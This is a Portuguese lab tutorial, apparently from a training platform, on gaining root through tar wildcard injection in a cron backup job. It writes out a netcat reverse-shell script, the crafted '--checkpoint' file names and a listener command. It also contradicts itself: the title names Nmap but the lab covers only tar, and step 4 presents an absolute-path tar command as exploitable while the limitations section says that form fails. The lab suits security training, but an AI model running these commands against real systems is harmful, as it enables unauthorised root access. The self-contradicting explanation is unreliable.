Realizar Injeção de Curinga no Nmap para Escalada de Privilégios

Beginner

Introdução

Neste laboratório, aprenderemos sobre injeção de curinga (wildcard injection), uma técnica utilizada para escalada de privilégios em sistemas Linux. Especificamente, exploraremos o princípio da injeção de curinga no comando tar, amplamente utilizado, e realizaremos um exercício prático para obter privilégios de root, aproveitando esta vulnerabilidade em combinação com o utilitário crontab.

Entendendo os Curingas (Wildcards)

Primeiramente, vamos entender o que são curingas (wildcards) e como eles funcionam no shell do Linux. Curingas são caracteres especiais ou sequências de caracteres que podem ser usados para representar ou corresponder a um conjunto de nomes de arquivos ou caminhos.

Aqui estão alguns curingas comuns:

  • * (asterisco) corresponde a qualquer número de caracteres (incluindo zero caracteres) em um nome de arquivo ou caminho.
  • ? (ponto de interrogação) corresponde a um único caractere.
  • [] (colchetes) correspondem a qualquer caractere único dentro do conjunto especificado de caracteres entre colchetes.
  • ~ (til) representa o diretório home do usuário atual ou de outro usuário, se seguido por um nome de usuário.

No contexto da escalada de privilégios, os curingas * e - são comumente usados. Vamos primeiro explorar como o shell interpreta o caractere -.

  1. Abra um terminal e navegue para o diretório /home/labex/project:

    cd /home/labex/project
    
  2. Existe um arquivo chamado --help no diretório atual. Tente pensar e experimentar como você pode visualizar o conteúdo deste arquivo.

    Se você usar o comando cat --help, você obterá a mensagem de ajuda para o comando cat em vez de visualizar o conteúdo do arquivo --help.

    Da mesma forma, se você usar vim --help, você verá uma mensagem de ajuda para o comando vim.

    Isso ocorre porque o shell do Linux interpreta - como um argumento de comando.

  3. Para visualizar o conteúdo do arquivo --help, você precisa evitar que o nome do arquivo comece com -. Você pode usar:

    cat /home/labex/project/--help
    

    Dessa forma, o shell não interpretará --help como um argumento, e você poderá visualizar o conteúdo do arquivo.

  4. Agora, vamos alterar o conteúdo do arquivo --help com qualquer editor de sua escolha. Por exemplo, você pode usar nano:

    nano /home/labex/project/--help
    

    Exclua o conteúdo existente e adicione o seguinte texto ao arquivo:

    I can read the file
    

    Salve e saia do nano.

Este comportamento do shell é precisamente o que a injeção de curinga explora.

A injeção de curinga é frequentemente combinada com tarefas cron (cron jobs), então vamos explorar um exemplo do mundo real envolvendo o comando tar.

Injeção de Curinga em Crontab e Tar

Para entender como a injeção de curinga pode levar à escalada de privilégios, realizaremos um exercício prático envolvendo o comando tar e o crontab.

  1. Primeiro, vamos inicializar o ambiente do laboratório executando o seguinte comando:

    Navegue para o diretório /home/labex/project:

    cd /home/labex/project
    

    Execute o script de configuração para inicializar o ambiente do laboratório:

    ./env_setup.sh
    

    Após a inicialização, você será alternado para o usuário user001 (simulando um invasor que obteve acesso inicial ao shell).

  2. Em seguida, vamos verificar o crontab para tarefas agendadas:

    cat /etc/crontab
    

    Saída esperada:

    * * * * * root cd /var/www/html/ && tar -zcf /var/backups/html.tgz *
    

    Você deve ver uma tarefa agendada para ser executada a cada minuto, que arquiva o conteúdo do diretório /var/www/html/ em um arquivo compactado /var/backups/html.tgz.

  3. Em seguida, vamos dar uma olhada nos arquivos dentro do diretório /var/www/html:

    ls /var/www/html
    

    Para explorar a vulnerabilidade de injeção de curinga, precisamos criar os seguintes três arquivos no diretório /var/www/html/.

    Primeiro, navegue para o diretório /var/www/html:

    cd /var/www/html/
    
    • shell.sh com o conteúdo para executar um reverse shell:

      echo 'nc.traditional 127.0.0.1 4444 -e /bin/bash' > shell.sh
      
    • Um arquivo chamado --checkpoint-action=exec=sh shell.sh (observe os espaços no nome do arquivo):

      echo "" > "--checkpoint-action=exec=sh shell.sh"
      
    • Um arquivo chamado --checkpoint=1:

      echo "" > --checkpoint=1
      

    Após criar esses arquivos, o diretório /var/www/html/ deve ter a seguinte aparência:

    '--checkpoint-action=exec=sh shell.sh' '--checkpoint=1' index.html index.nginx-debian.html shell.sh
    
  4. Quando o cron job executa o seguinte comando:

    tar -zcf /var/backups/html.tgz /var/www/html/*
    

    Ele será interpretado como:

    tar -zcf /var/backups/html.tgz --checkpoint=1 --checkpoint-action=exec=sh shell.sh shell.sh index.html index.nginx-debian.html
    

    Aqui está o que os parâmetros significam:

    • --checkpoint e --checkpoint-action são tipicamente usados juntos. O primeiro define um ponto de verificação (checkpoint), e o último especifica a ação a ser tomada quando o ponto de verificação é atingido.
    • --checkpoint-action=exec=sh shell.sh significa que, quando o ponto de verificação é atingido, o script shell.sh será executado.

    Portanto, sempre que o cron job for executado, o script shell.sh será executado, o que fará um reverse-shell de /bin/bash para a porta local 4444.

  5. Vamos configurar um listener na porta local 4444 no shell atual:

    nc -lnvp 4444
    

    Após uma breve espera, quando o cron job for executado, devemos receber o reverse shell com privilégios de root:

    Saída esperada:

    Listening on 0.0.0.0 4444
    Connection received on 127.0.0.1 56226
    

    Tente criar um arquivo success.txt no diretório /root para confirmar que você tem privilégios de root:

    touch /root/success.txt
    

    Se você puder criar o arquivo sem nenhum erro de permissão, você escalou com sucesso seus privilégios usando a injeção de curinga.

Existem duas limitações importantes para esta técnica de escalada de privilégios tar + crontab:

  1. O diretório html precisa ter permissão de escrita (w) para outros usuários, para que possamos criar o shell.sh e outros arquivos nesse diretório.

  2. O comando tar no crontab não deve incluir um caminho absoluto. Por exemplo, se a entrada do crontab for assim:

    * * * * * root tar -zcf /var/backups/html.tgz /var/www/html/*
    

    A injeção de curinga falhará porque o shell interpretará o comando como:

    tar -zcf /var/backups/html.tgz /var/www/html/--checkpoint=1 /var/www/html/--checkpoint-action=exec=sh shell.sh /var/www/html/shell.sh /var/www/html/index.html /var/www/html/index.nginx-debian.html
    

    Nesse caso, /var/www/html/--checkpoint=1 e /var/www/html/--checkpoint-action=exec=sh shell.sh não serão interpretados como argumentos do comando tar, e a injeção falhará.

Resumo

Neste laboratório, aprendemos sobre injeção de curinga (wildcard injection), uma técnica usada para escalada de privilégios em sistemas Linux. Exploramos o princípio da injeção de curinga no comando tar, amplamente utilizado, e realizamos um exercício prático para obter privilégios de root, aproveitando essa vulnerabilidade em combinação com o utilitário crontab. Por meio deste laboratório, adquirimos experiência prática na compreensão e exploração de uma vulnerabilidade de escalada de privilégios do mundo real, que é uma habilidade essencial para qualquer profissional de segurança ou administrador de sistemas.